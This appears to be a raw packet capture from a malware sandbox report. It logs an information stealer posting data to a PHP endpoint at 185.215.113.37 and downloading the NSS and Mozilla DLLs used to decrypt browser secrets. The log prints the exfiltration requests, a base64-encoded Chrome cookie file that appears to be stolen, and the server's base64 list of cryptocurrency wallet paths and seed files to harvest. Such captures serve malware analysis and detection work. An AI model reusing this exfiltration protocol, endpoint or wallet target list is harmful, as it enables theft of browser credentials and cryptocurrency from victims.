Oct 24, 2024 11:02:17.516648054 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 24, 2024 11:02:17.516663074 CEST	224	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ
Oct 24, 2024 11:02:21.783279896 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDBAEHIJKKFHIEGCBG Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------ECGDBAEHIJKKFHIEGCBG--
Oct 24, 2024 11:02:22.579422951 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 11:02:22.664988041 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDGHIJDGCBAAAAAFIJD Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HJDGHIJDGCBAAAAAFIJDContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------HJDGHIJDGCBAAAAAFIJDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HJDGHIJDGCBAAAAAFIJDContent-Disposition: form-data; name="file"------HJDGHIJDGCBAAAAAFIJD--
Oct 24, 2024 11:02:23.458249092 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 11:02:24.139976978 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHDAEHDAKECGCAKFCFI Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="file"------BFHDAEHDAKECGCAKFCFI--
Oct 24, 2024 11:02:24.924608946 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 11:02:25.646956921 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 11:02:25.931284904 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:25 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 24, 2024 11:02:27.423216105 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 11:02:27.708540916 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:27 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 24, 2024 11:02:28.474010944 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 11:02:28.758011103 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:28 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 24, 2024 11:02:29.393747091 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 11:02:29.600363970 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 11:02:30.038815022 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:29 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 24, 2024 11:02:31.466403008 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 11:02:31.752870083 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:31 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 24, 2024 11:02:32.205722094 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 11:02:32.489653111 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:32 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 24, 2024 11:02:33.371757984 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBFHIEBKJKFHIEBFBAE Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 11:02:34.160156012 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:33 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 11:02:34.307029009 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCFIEHCFIECBGCBFHIJ Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; name="message"wallets------KFCFIEHCFIECBGCBFHIJ--
Oct 24, 2024 11:02:34.593238115 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:34 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
